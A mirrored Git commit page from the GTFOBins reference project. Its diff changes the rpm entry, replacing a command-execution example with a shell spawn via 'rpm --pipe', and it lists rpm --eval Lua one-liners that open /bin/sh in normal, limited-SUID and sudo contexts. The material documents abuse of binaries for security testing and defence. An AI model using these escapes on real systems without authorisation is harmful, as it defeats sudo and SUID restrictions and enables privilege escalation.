1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Upgrade to shell

This commit is contained in:
Andrea Cardaci 2021-04-08 07:56:49 +02:00 committed by GitHub
parent ecb1840df3
commit 9800048833
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -2,12 +2,9 @@
functions:
shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
command:
- code: |
rpm --pipe '/bin/id > /tmp/result'
cat /tmp/result
- code: rpm --pipe '/bin/sh 0<&1'
limited-suid:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: |